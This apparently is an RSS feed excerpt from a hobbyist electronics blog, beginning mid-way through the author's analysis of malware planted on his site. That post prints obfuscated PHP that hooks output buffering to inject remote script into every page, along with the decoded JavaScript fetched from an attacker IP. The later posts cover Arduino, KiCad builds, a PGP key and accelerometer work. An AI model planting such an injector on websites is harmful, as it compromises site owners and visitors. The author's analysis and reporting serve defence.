/>M0QjMS8mJTI5PX4lM0QlNkUjdUAlNkNgbCUyOSFmJTZGciYlMjgkJTY5Jj18JTMwJTNCIyU2OSMlM0MlMzIlM0IhaXwlMkIhKyMlMjlkb2<br />MmJTc1JTZEIyU2NSYlNkV0JTJFdyYlNzIlNjkhdCNlQCgjIiElM0MlNzN8Y3IjaSU3MHQlM0VgJTY5ISU2Nn4oI18lMjkkJTY0QCU2RmN1fi<br />U2REBlJTZFfHQlMkUlNzdgcml0JTY1JTI4JTVDJTIyISUzQyMlNzMlNjMlNzIhaXAmdCUyMH5pZD0lNUYmIiUyQmkhKyJfYCUyMHNgJTc<br />yYz0vLyUyMn4rYCU2MUAlNUIkJTY5JTVEYCsjJTIyIy8lNjNgJTcwJCUyRiUzRiYlMjImJTJCQG4kJTYxJTc2JCU2OSU2N2AlNjElNzQhJTZG<br />YHIjJTJFYXAhJTcwIyU0RWAlNjEhbSZlIS4mJTYzJmhgJTYxIXJBJTc0ISgwYClAJTJCIiUzRSUzQ34lNUMlNUMlMkYhJTczJTYzciElNjklNzAh<br />dCElM0UjJTVDIiYpfiUzQyU1Qy9zYCU2M3JpJTcwJTc0JTNFJCUyMiUyOUA7XG4lMkZALyYlM0MlMkYlNjR8JTY5JTc2IyUzRScpLnJlcGx<br />hY2UoLyN8XCF8QHx+fGB8XCZ8XCR8XHwvZywiIikpO3ZhciB5YWhvb19jb3VudGVyPTE7CjwhLS0gY291bnRlciBlbmQgLS0+PC9zY<br />3JpcHQ+Cg==&#8217;));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))==&#8217;1f8b&#8217;))$s=gzinflate(substr($s,10,-8));if(preg_match_all(&#8216;#&lt;script(.*?)&lt;/script&gt;#is&#8217;,$s,$a))foreach($a[0] as $v)if(count(explode(&#8220;\n&#8221;,$v))&gt;5){$e=preg_match(&#8216;#[\'\"][^\s\'\"\.,;\?!\[\]:/&lt;&gt;\(\)]{30,}#&#8217;,$v)||preg_match(&#8216;#[\(\[](\s*\d+,){20,}#&#8217;,$v);if((preg_match(&#8216;#\beval\b#&#8217;,$v)&amp;&amp;($e||strpos($v,&#8217;fromCharCode&#8217;)))||($e&amp;&amp;strpos($v,&#8217;document.write&#8217;)))$s=str_replace($v,&#8221;,$s);}$s1=preg_replace(base64_decode(&#8216;IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cy4rPzwvc2NyaXB0Pgojcw==&#8217;),&#8221;,$s);if(stristr($s,&#8217;&lt;/body&#8217;))$s=preg_replace(&#8216;#(\s*&lt;/body)#mi&#8217;,str_replace(&#8216;\$&#8217;,'\\\$&#8217;,TMP_XHGFJOKL).&#8217;\1&#8242;,$s1);elseif(($s1!=$s)||defined(&#8216;PMT_knghjg&#8217;)||stristr($s,&#8217;&lt;body&#8217;)||stristr($s,&#8217;&lt;/title&gt;&#8217;))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&amp;&amp;$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])==&#8217;tmp_lkojfghx&#8217;)return;else $s[]=array($a==&#8217;default output handler&#8217;?false:$a);for($i=count($s)-1;$i&gt;=0;$i&#8211;){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(&#8216;tmp_lkojfghx&#8217;);for($i=0;$i&lt;count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler(&#8216;tmp_lkojfghx2&#8242;))!=&#8217;tmp_lkojfghx2&#8242;)$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2();</p></blockquote>
<p>That whole base64 encoded things boils down to the same javascript seen above. I have emailed the ISP managers for the IP addresses pointed at by the code and they can investigate further should they wish.</p>
<p>What does the code do ? Well it goes to the to ip addresses and runs the code found at <br /><i>http://78.110.175.21/cp/?I</i>  which is currently :<br />
<blockquote>_=0;for(i=0;i&lt;9;i++){var d=document.getElementById(&#8220;_&#8221;+i<br />+&#8221;_&#8221;);if(d)d.src=&#8221;"}evalDISABLED(unescape(&#8216;%2F/%4A`u#%73!%74%20~%66~u@c#k`%20#of`%66#.<br />%2E%2E`@%3C#d#%69v%20st%79%6Ce~=@d%69@%73#pl%61~y%3A~n`%6F@n%65$%3E\n~%76@ar|<br />%20%74@%3D%6E@%65w@ %44$a!t!e#%281#%32@29%39|7$308@30%300);%64!%6F$%63~%75me$n$<br />%74!.@%63o`ok|%69~e=%22h%67!%66#%74|%3D%31`;$%20#e%78@%70|%69#%72%65`s=%22#%2B<br />%74|%2E@t%6FG%4D%54!St$r`i`%6E`%67#(%29#+|&#8221;; %70%61|%74%68@%3D/%22@;\n%2F@%2F!<br />%3C/%64`iv|%3E&#8217;).replace(/@|\!|~|\?|#|\$|`|\|/g,&#8221;"));</p></blockquote>
<p>which is un-obfuscated to :<br />
<blockquote>//Just fuck off&#8230;&amp;lt;div style=display:none&amp;gt;<br />var t=new Date(1229972812000);document.cookie=&#8221;hgft=1; expires=&#8221;+t.toGMTString()+&#8221;; path=/&#8221;;<br />//&amp;lt;/div&amp;gt;</p></blockquote>
<p>which simply saves a cookie.  But I would assume that later the hacker would replace this code with something more worthwhile.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=67</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>More Arduino Butterfly</title>
		<link>http://www.brokentoaster.com/blog/?p=66</link>
		<comments>http://www.brokentoaster.com/blog/?p=66#comments</comments>
		<pubDate>Mon, 15 Dec 2008 22:20:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=66</guid>
		<description><![CDATA[David Knaack has done a great job setting up the Butteruino project over on google code.You can find it at http://code.google.com/p/butteruino/ I&#8217;d hoped to get an LCD library up this weekend but got bogged down in a good book; oh well perhaps next weekend.At least I should get some stress testing done on the butterfly [...]]]></description>
				<content:encoded><![CDATA[<p>David Knaack has done a great job setting up the Butteruino project over on google code.<br />You can find it at http://code.google.com/p/butteruino/</p>
<p>I&#8217;d hoped to get an LCD library up this weekend but got bogged down in a good book; oh well perhaps next weekend.<br />At least I should get some stress testing done on the butterfly logger at -37 degrees C this week due to a busted thermostat on the freezer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=66</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cryptonomicon and PGP Key</title>
		<link>http://www.brokentoaster.com/blog/?p=65</link>
		<comments>http://www.brokentoaster.com/blog/?p=65#comments</comments>
		<pubDate>Mon, 15 Dec 2008 22:17:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=65</guid>
		<description><![CDATA[Just finished Neal Stephenson&#8217;s CRYPTONOMICON. Great book, like the alternative reality of Finux and things like the galvanic lucifer. Anyway makes me want to post my PGP Key. &#8212;&#8211;BEGIN PGP PUBLIC KEY BLOCK&#8212;&#8211;Version: GnuPG v1.4.8 (Darwin) mQGiBESDrL8RBAC9J6gKjVuWrlwsMsRkHgqAVKSS/sTwyfoPrRpba7E0XctNnXhfVkcy9eEt8mN6MSL9haxv8U+Xlw4tSj9MEpdwVwSZT+oGD1ORN9MYnun7+7Kq8ZIjtDEL/Xbd4L6VbqlML8gNBFE18EXYNOzHVbVFmNJkZPLRx9ldZ+YopiqUfwCg6+jtbXn5UoLN1pE/lzW6SLhgpIUEAKVleqUC6R27ZzqyPGjmqaYUzvDyVDoldASKxHd7IxAto1v+k9QNSDaa4iqykFStk4pBEV9KO29QVt4CyaK6rKFSvPKmQW5rI6pA45YqwRygfRLzqdUg/oUOny58F65urTOvdtfQtCLGxqRNS50iabwhXihRKBUQBb25hD3nFBoOA/9+A/3w5iRRld0jnWEpqJI7JRMpMV3oT+IeHvXToWpCUF9LQEv8X012dzDUa+uO5rOx9dwz8SZ9V02YrqYR9We+7xYe6Dp4q0r2OdhqnrEc/E4wdDxC165Br+HgfWwGc7Mxi5MniljSlzrw5uCutEXQ21Kly+/wUlnR1LJkRmdcZbQnTmljayBMb3R0IChOWikgPG5pY2subG90dEBnbWFpbC5ub3NwYW0+iGAEExECACAFAkSDrL8CGwMGCwkIBwMCBBUCCAMEFgIDAQIeAQIXgAAKCRAHV5jGyG2/QlYpAJ9G0y5cNqoiXnBDjhmxUETZvcFwLACfQ9OUEySKcTimR+I5qTJ9D7iJGTS5Ag0ERIOuKBAIAKHeDMEOqFgPfoSabl9BHemuOgVvZsr481DTWFYnJAH1n9qZE8hZ4MTbn/zXpIJS4ozJAyhJ5mS/K6/3HunSvdBeMkaqVtjoCXdkTWWm9XQMeseSRffjRbNyeoroLlm3tkVRMJNhrjN/Al1Abq3ESfZzuY8VBLGRfDPUeToNHSCLnOvD+ijMBEYsr5ds8Bi77tWAbSdRloL3aGHIkj3fPFJmNjrAl7WZXgvl1p899tY4N19RXVkdhagcb3uVmAJjd6l7y8x3l02jBCk3YQiRMBIG8kov+rDgZwgVaGYEitg9DxRph02sHfxEGt3fmKVLLcS1BB0MYprObqBOwxHlx9cAAwUH/1iq+9VTh0uuKQsA+qCOthBNqsf62g0r/NJsnZoiMAvAsLvrpwD7mzGMc+Ke7W2578IvL+Fnvmi+s67Gg2+6DAk3VkJEH9+y1CkDb8PqAxRpsLFlvi4YcXsbXdG2UgMrfEWeIr2z0VYWGnZ3GibqUDf7rxu79ah5T8Z7ajNLEEHF+wzXQ7vEzZVBeytL6lv+JZ5s5umRhjCy0flMZ/Js53g5IH5NMu/vrJrQTU+jREDw+faEb3yBUaSX3N1pu88CWGdwqBVH16rt+AbHXa7kKqY46kM10QZWpHLPCzzw+jlHc2udYs4kPyfVTSe6RG4mRD8hgx7Y/Hhnbtz5TIeH8DiISQQYEQIACQUCRIOuKAIbDAAKCRAHV5jGyG2/Qq4zAJ0Q5asX37oT2Ih3aKiQinBdhTgqcwCgi264VRyWK1CbCIeQYCKAqEVp4nI==oFPt&#8212;&#8211;END PGP PUBLIC KEY BLOCK&#8212;&#8211;]]></description>
				<content:encoded><![CDATA[<p>Just finished Neal Stephenson&#8217;s CRYPTONOMICON. Great book, like the alternative reality of Finux and things like the galvanic lucifer. Anyway makes me want to post my PGP Key.</p>
<p>&#8212;&#8211;BEGIN PGP PUBLIC KEY BLOCK&#8212;&#8211;<br />Version: GnuPG v1.4.8 (Darwin)</p>
<p>mQGiBESDrL8RBAC9J6gKjVuWrlwsMsRkHgqAVKSS/sTwyfoPrRpba7E0XctNnXhf<br />Vkcy9eEt8mN6MSL9haxv8U+Xlw4tSj9MEpdwVwSZT+oGD1ORN9MYnun7+7Kq8ZIj<br />tDEL/Xbd4L6VbqlML8gNBFE18EXYNOzHVbVFmNJkZPLRx9ldZ+YopiqUfwCg6+jt<br />bXn5UoLN1pE/lzW6SLhgpIUEAKVleqUC6R27ZzqyPGjmqaYUzvDyVDoldASKxHd7<br />IxAto1v+k9QNSDaa4iqykFStk4pBEV9KO29QVt4CyaK6rKFSvPKmQW5rI6pA45Yq<br />wRygfRLzqdUg/oUOny58F65urTOvdtfQtCLGxqRNS50iabwhXihRKBUQBb25hD3n<br />FBoOA/9+A/3w5iRRld0jnWEpqJI7JRMpMV3oT+IeHvXToWpCUF9LQEv8X012dzDU<br />a+uO5rOx9dwz8SZ9V02YrqYR9We+7xYe6Dp4q0r2OdhqnrEc/E4wdDxC165Br+Hg<br />fWwGc7Mxi5MniljSlzrw5uCutEXQ21Kly+/wUlnR1LJkRmdcZbQnTmljayBMb3R0<br />IChOWikgPG5pY2subG90dEBnbWFpbC5ub3NwYW0+iGAEExECACAFAkSDrL8CGwMG<br />CwkIBwMCBBUCCAMEFgIDAQIeAQIXgAAKCRAHV5jGyG2/QlYpAJ9G0y5cNqoiXnBD<br />jhmxUETZvcFwLACfQ9OUEySKcTimR+I5qTJ9D7iJGTS5Ag0ERIOuKBAIAKHeDMEO<br />qFgPfoSabl9BHemuOgVvZsr481DTWFYnJAH1n9qZE8hZ4MTbn/zXpIJS4ozJAyhJ<br />5mS/K6/3HunSvdBeMkaqVtjoCXdkTWWm9XQMeseSRffjRbNyeoroLlm3tkVRMJNh<br />rjN/Al1Abq3ESfZzuY8VBLGRfDPUeToNHSCLnOvD+ijMBEYsr5ds8Bi77tWAbSdR<br />loL3aGHIkj3fPFJmNjrAl7WZXgvl1p899tY4N19RXVkdhagcb3uVmAJjd6l7y8x3<br />l02jBCk3YQiRMBIG8kov+rDgZwgVaGYEitg9DxRph02sHfxEGt3fmKVLLcS1BB0M<br />YprObqBOwxHlx9cAAwUH/1iq+9VTh0uuKQsA+qCOthBNqsf62g0r/NJsnZoiMAvA<br />sLvrpwD7mzGMc+Ke7W2578IvL+Fnvmi+s67Gg2+6DAk3VkJEH9+y1CkDb8PqAxRp<br />sLFlvi4YcXsbXdG2UgMrfEWeIr2z0VYWGnZ3GibqUDf7rxu79ah5T8Z7ajNLEEHF<br />+wzXQ7vEzZVBeytL6lv+JZ5s5umRhjCy0flMZ/Js53g5IH5NMu/vrJrQTU+jREDw<br />+faEb3yBUaSX3N1pu88CWGdwqBVH16rt+AbHXa7kKqY46kM10QZWpHLPCzzw+jlH<br />c2udYs4kPyfVTSe6RG4mRD8hgx7Y/Hhnbtz5TIeH8DiISQQYEQIACQUCRIOuKAIb<br />DAAKCRAHV5jGyG2/Qq4zAJ0Q5asX37oT2Ih3aKiQinBdhTgqcwCgi264VRyWK1Cb<br />CIeQYCKAqEVp4nI=<br />=oFPt<br />&#8212;&#8211;END PGP PUBLIC KEY BLOCK&#8212;&#8211;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=65</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arduino for the Butterfly</title>
		<link>http://www.brokentoaster.com/blog/?p=64</link>
		<comments>http://www.brokentoaster.com/blog/?p=64#comments</comments>
		<pubDate>Sun, 30 Nov 2008 23:39:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=64</guid>
		<description><![CDATA[Just done a first pass of the butterfly version of the arduino12You can download my files from http://www.brokentoaster.com/arduino012_butterfly.zip Any thoughts or feedback most welcome. Things you need to do to make it work: * copy the files &#038; folders into your arduino Hardware directory. * change preferences.txt to upload.using=butterfly This preferences file is found in [...]]]></description>
				<content:encoded><![CDATA[<p>Just done a first pass of the butterfly version of the arduino12<br />You can download my files from http://www.brokentoaster.com/arduino012_butterfly.zip</p>
<p>Any thoughts or feedback most welcome.</p>
<p><span style="font-weight:bold;">Things you need to do to make it work:</span></p>
<p>* copy the files &#038; folders into your arduino Hardware directory.</p>
<p>* change preferences.txt to upload.using=butterfly</p>
<p> This preferences file is found in this folder:</p>
<p>     * /Users/<username>/Library/Arduino/preferences.txt (Mac)<br />     * c:\Documents and Settings\<username>\Application Data\Arduino\preferences.txt (Windows)<br />     * ~/.arduino/preferences.txt (Linux) </p>
<p>* push the button when uploading starts<br />* dont hold the button down the entire time.</p>
<p><span style="font-weight:bold;">Things to do in the future:</span><br />Build a Butterfly library for <br /> &#8211; temperature<br /> &#8211; flash<br /> &#8211; light sensor<br /> &#8211; speaker<br /> &#8211; LCD<br /> &#8211; Joystick</p>
<p>* check analog pins (jtag port)<br />* check digital pinouts on port b and D<br />* check all the timmings<br />* check it makes sense. </p>
<p><span style="font-weight:bold;">NOTES: </span></p>
<p>These are things I&#8217;ve done to my files to make it kind of work. They may or may not have been necessary. I tried using conditional compilation but it wasn&#8217;t being picked up so I just copied the core andmade changes to that.</p>
<p>* added following to boards.txt to support as a target compilation board<br /> bfly.name=Butterfly</p>
<p> bfly.upload.protocol=butterfly<br /> bfly.upload.maximum_size=14336<br /> bfly.upload.speed=19200</p>
<p> bfly.bootloader.low_fuses=0xE2<br /> bfly.bootloader.high_fuses=0&#215;98<br /> bfly.bootloader.extended_fuses=0xFF<br /> bfly.bootloader.path=butterfly<br /> bfly.bootloader.file=bf_boot.hex<br /> bfly.bootloader.unlock_bits=0x3F<br /> bfly.bootloader.lock_bits=0x0F</p>
<p> bfly.build.mcu=atmega169</p>
<p>* added Bf_boot to bootloaders dir<br /> &#8211; copied hex from bf_boot up to bootloaders/bf_boot and renamed bf_boot.hex</p>
<p>* removed second external interupt from hardware/cores/arduino/WInterrupts.c: -> changes not picked up??</p>
<p>* changed boards.txt core = butterfly<br /> &#8211; copied arduino core folder and renamed to be buttefly<br /> &#8211; changes to hardware/cores/butterfly/WInterrupts.c<br /> &#8211; changes to hardware/cores/butterfly/wiring.c  TCCR0 &#8211; > TCCR0A  <br /> &#8211; changes to hardware/cores/butterfly/wiring_analog.c: In function &#8216;analogWrite&#8217;:<br /> &#8211; changes to hardware/cores/butterfly/wiring_digital.c: In function &#8216;turnOffPWM&#8217;:</p>
<p>* added avrispv2 to programmers.txt<br />* added butterfly to external programmers</p>
<p>Download these files at<a href="http://www.brokentoaster.com/lost/arduino012_butterfly.zip"> http://www.brokentoaster.com/arduino012_butterfly.zip</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=64</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Great eagle layout screen casts</title>
		<link>http://www.brokentoaster.com/blog/?p=63</link>
		<comments>http://www.brokentoaster.com/blog/?p=63#comments</comments>
		<pubDate>Tue, 07 Oct 2008 22:06:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=63</guid>
		<description><![CDATA[Just saw these great screen casts here showing layout procedure for a guitar pedal using Eagle.You can get Eagle from cadsoft. I saw this link over at ladyada.net NOTE: Sparkfun have just put up a tutoral on PCB layout HERE. Its based on Eagle but is pretty much valid for any PCB package]]></description>
				<content:encoded><![CDATA[<p>Just saw these great screen casts <a href="http://ruinwesen.com/blog?id=181">here</a> showing layout procedure for a guitar pedal using Eagle.<br />You can get Eagle from <a href="http://www.cadsoft.de/">cadsoft</a>. I saw this link over at <a href="http://www.ladyada.net/rant/">ladyada.net</a></p>
<p>NOTE: Sparkfun have just put up a tutoral on PCB layout <a href="http://www.sparkfun.com/commerce/tutorial_info.php?tutorials_id=115">HERE</a>. Its based on Eagle but is pretty much valid for any PCB package</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=63</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New website home page and index</title>
		<link>http://www.brokentoaster.com/blog/?p=62</link>
		<comments>http://www.brokentoaster.com/blog/?p=62#comments</comments>
		<pubDate>Tue, 07 Oct 2008 21:42:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=62</guid>
		<description><![CDATA[The shinny new website index is up but the shop is still a wee way off as I finalise the logistics of it all. If their are any PCBs, kits or specific components that you think I should stock then let me know at shop at. brokentoaster dot. com]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_zYnUjlpmq30/SOvjcAjC6HI/AAAAAAAAAAU/TdV_3S_gFKM/s1600-h/Picture+13.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_zYnUjlpmq30/SOvjcAjC6HI/AAAAAAAAAAU/TdV_3S_gFKM/s200/Picture+13.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5254543460580649074" /></a></p>
<p>The shinny new website index is up but the shop is still a wee way off as I finalise the logistics of it all. </p>
<p>If their are any PCBs, kits or specific components that you think I should stock then let me know at <span style="font-weight:bold;">shop at. brokentoaster dot. com</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=62</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kicad SVN builds for OSX</title>
		<link>http://www.brokentoaster.com/blog/?p=61</link>
		<comments>http://www.brokentoaster.com/blog/?p=61#comments</comments>
		<pubDate>Wed, 10 Sep 2008 20:33:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=61</guid>
		<description><![CDATA[I&#8217;ve managed to cobble together some universal builds of kicad for mac osx. These a based on wxMac2.8 so the graphics is still very screwy. I might try a wxCocoa build some time in the future. The script which is on a cron job to run every day is below. #!/bin/sh #Make a nightly build [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve managed to cobble together some universal builds of kicad for mac osx. These a based on wxMac2.8  so the graphics is still very screwy. I might try a wxCocoa build some time in the future.</p>
<p>The script which is on a cron job to run every day is below.</p>
<blockquote><p>#!/bin/sh</p>
<p>#Make a nightly build of kicad</p>
<p>#update from svn<br />cd /Volumes/Scratch/kicad-sources<br />svn up <br />new_version=`svn info | grep Revision | cut -f 2 -d\ `<br />old_version=`cat /temp/install/version.txt`<br />if [ $new_version -gt $old_version ]<br />then</p>
<p> #build it<br /> cd build/release<br /> cmake ../../ -DwxWidgets_CONFIG_EXECUTABLE=/usr/bin/wx-config -DwxWidgets_ROOT_DIR=/Volumes/Scratch/wxMac-2.8.8/include -DCMAKE_INSTALL_PREFIX=/temp/install -DBoost_INCLUDE_DIR=/Volumes/Scratch/kicad-sources -DCMAKE_OSX_ARCHITECTURES=&#8221;ppc -arch i386&#8243; -DCPP_FLAGS=&#8221;-arch i386 -arch ppc&#8221;</p>
<p> make clean <br /> if  make <br /> then<br />  make install</p>
<p>  #bundle<br />  cd /temp/<br />  tar -czf kicad_osx_v`cat install/version.txt`.tgz install </p>
<p>  #upload<br />  curl -T kicad_osx_v`cat install/version.txt`.tgz ftp://user:password@ftp.brokentoaster.com/</p>
<p>  echo $new_version > /temp/install/version.txt <br /> fi<br />else<br /> echo &#8220;Kicad is uptodate <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  &#8220;<br />fi</p></blockquote>
<p>You can find the builds at http://www.brokentoaster.com/kicad/. No guarantees on usefulness.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=61</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ButerflyMP3 PCBs and Kits?</title>
		<link>http://www.brokentoaster.com/blog/?p=60</link>
		<comments>http://www.brokentoaster.com/blog/?p=60#comments</comments>
		<pubDate>Sat, 06 Sep 2008 18:28:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=60</guid>
		<description><![CDATA[Have begun looking at getting some PCBs produced and kits together for sale over the website. Haven&#8217;t worked out quantity and costs yet but I&#8217;m aiming for around $8 USD for a PCB and around $25 USD for a Kit (components only). If you are interested in either option  then email me at  buy_pcbs at [...]]]></description>
				<content:encoded><![CDATA[<p>Have begun looking at getting some PCBs produced and kits together for sale over the website. Haven&#8217;t worked out quantity and costs yet but I&#8217;m aiming for around $8 USD for a PCB and around $25 USD for a Kit (components only).</p>
<p>If you are interested in either option  then email me at </p>
<p>buy_pcbs at brokentoaster dot com</p>
<p>The prices are really only ballpark speculation at this point as they depend heavily on quantity.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=60</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kicad now compiles on Mac OSX</title>
		<link>http://www.brokentoaster.com/blog/?p=59</link>
		<comments>http://www.brokentoaster.com/blog/?p=59#comments</comments>
		<pubDate>Fri, 22 Aug 2008 06:00:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=59</guid>
		<description><![CDATA[Just downloaded revison 1200 of kicad from svn using th following command svn checkout http://kicad.svn.sourceforge.net/svnroot/kicad/trunk/kicad kicad-sources I also upgraded to cmake 2.6.0 using the macports system and then followed the included instructions and it compiles ok on my macbook. It is working a lot better but PCBnew is still fairly buggy.The schematic side of it [...]]]></description>
				<content:encoded><![CDATA[<p>Just downloaded revison 1200 of kicad from svn using th following command</p>
<blockquote><p>svn checkout http://kicad.svn.sourceforge.net/svnroot/kicad/trunk/kicad kicad-sources</p></blockquote>
<p>I also upgraded to cmake 2.6.0 using the macports system and then followed the included instructions and it <b>compiles</b> ok on my macbook.</p>
<p>It is working a lot better but PCBnew is still fairly buggy.<br />The schematic side of it is working great though.</p>
<p>Worth a look but I&#8217;ll have to keep using the windows version for any stable work.<br />I&#8217;m going to keep an eye on the kicad-dev group and see if this makes any progress.</p>
<p>Note: my wxwidgets were installed via macports at </p>
<p><span style="font-style:italic;">wxWidgets_CONFIG_EXECUTABLE=/opt/local/bin/wx-config<br />wxWidgets_ROOT_DIR=/opt/local/include/wx-2.8</span></p>
<p>but i noticed a version was already installed in a couple of places. Here is what locate gave me:</p>
<blockquote><p>% locate wx.h<br />/Developer/SDKs/MacOSX10.4u.sdk/usr/include/wx-2.5/wx/wx.h<br />/Developer/SDKs/MacOSX10.5.sdk/usr/include/wx-2.8/wx/wx.h<br />/opt/local/include/wx-2.8/wx/wx.h<br />/opt/local/var/macports/software/wxWidgets/2.8.7_0/opt/local/include/wx-2.8/wx/wx.h<br />/opt/local/var/macports/software/wxWidgets/2.8.7_1/opt/local/include/wx-2.8/wx/wx.h<br />/usr/include/wx-2.8/wx/wx.h</p>
<p>% locate wx-config<br />/opt/local/bin/wx-config<br />/opt/local/var/macports/software/wxWidgets/2.8.7_0/opt/local/bin/wx-config<br />/opt/local/var/macports/software/wxWidgets/2.8.7_1/opt/local/bin/wx-config<br />/usr/bin/wx-config</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=59</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cheap 3D accelerometers and SPI issues.</title>
		<link>http://www.brokentoaster.com/blog/?p=58</link>
		<comments>http://www.brokentoaster.com/blog/?p=58#comments</comments>
		<pubDate>Tue, 12 Aug 2008 21:34:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=58</guid>
		<description><![CDATA[Just added support for Kionix accelerometers to the Butterflylogger project. In particular the KXPS5 using the breakout PCB from Crodnet. The main advantage of this accelerometer of others as far as I can see is the price as well as having both digital (SPI and I2C) as well as analogue interfaces. Had a small hiccupp [...]]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/lost/_IMG_5231.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px;" src="http://www.brokentoaster.com/lost/_IMG_5231.jpg" border="0" alt="" /></a></p>
<p>Just added support for <a href="http://www.kionix.com/">Kionix</a> accelerometers to the <a href="http://www.brokentoaster.com/butterflylogger/">Butterflylogger</a> project. In particular the KXPS5 using the breakout PCB from <a href="http://www.crodnet.co.uk/">Crodnet</a>. The main advantage of this accelerometer of others as far as I can see is the price as well as having both digital (SPI and I2C) as well as analogue interfaces.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/lost/_kxp3.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px;" src="http://www.brokentoaster.com/lost/_kxp3.png" border="0" alt="" /></a></p>
<p>Had a small hiccupp in getting the SPI bus to behave. It seemed that when I drove the SCLK line while clocking out a response from the accelerometer, the cross talk (with the MISO Line) would interfere with the output <span style="font-style:italic;">(see above)</span></p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/lost/_kxp2.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px;" src="http://www.brokentoaster.com/lost/_kxp2.png" border="0" alt="" /></a></p>
<p>After a number of ineffective  tweaks with speed and the IO setup for the lines I decided to shorten the lines. After shortening the lines all the problems went away. For reference the original lines were approximatly 10cm between the butterfly and the breakout board.</p>
<p>NOTE: the code for talking to the accelerometer is <a href="http://butterflylogger.cvs.sourceforge.net/viewvc/butterflylogger/logger/KXPS5-3157.c?view=markup">KXPS5-3157.c</a> and <a href="http://butterflylogger.cvs.sourceforge.net/viewvc/butterflylogger/logger/KXPS5-3157.h?view=markup">KXPS5-3157.h</a> The will be included in the next code release but for the meantime you will need to get them from the CVS repository.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=58</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to disable the open firmware password on a G4 iBook</title>
		<link>http://www.brokentoaster.com/blog/?p=57</link>
		<comments>http://www.brokentoaster.com/blog/?p=57#comments</comments>
